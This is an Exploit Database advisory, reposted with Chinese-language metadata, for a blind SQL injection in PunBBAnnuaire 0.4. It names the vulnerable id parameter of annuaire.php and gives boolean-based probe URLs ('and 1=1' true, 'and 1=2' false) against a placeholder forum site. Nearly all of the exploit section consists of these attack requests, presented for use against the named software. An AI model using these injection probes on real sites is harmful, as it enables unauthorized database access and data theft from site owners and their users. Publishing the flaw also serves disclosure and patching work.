PunBBAnnuaire 0.4 – Blind SQL Injection

• Exploit Database
• 10 阅读

• 作者： Metropolis
  日期： 2010-02-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11490/

• PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability
  ========================================================
  
  ####################################################################
  .:. Author : Metropolis
  .:. Home : http://xrayoptics.by.ru/
  .:. Script : PunBBAnnuaire
  .:. Version : 0.4
  .:. Download Script: http://www.punres.org/download.php?id=1737
  .:. Bug Type : Blind Sql Injection
  
  ####################################################################
  
  ===[ Exploit ]===
  
  /annuaire.php?action=site&id=1[ Blind SQL INJECTION ]
  
  
  www.site.com/forum/annuaire.php?action=site&id=1 and 1=1 <-- true
  
  www.site.com/forum/annuaire.php?action=site&id=1 and 1=2 <-- false
  
  
  
  ####################################################################
  
  Vive la France !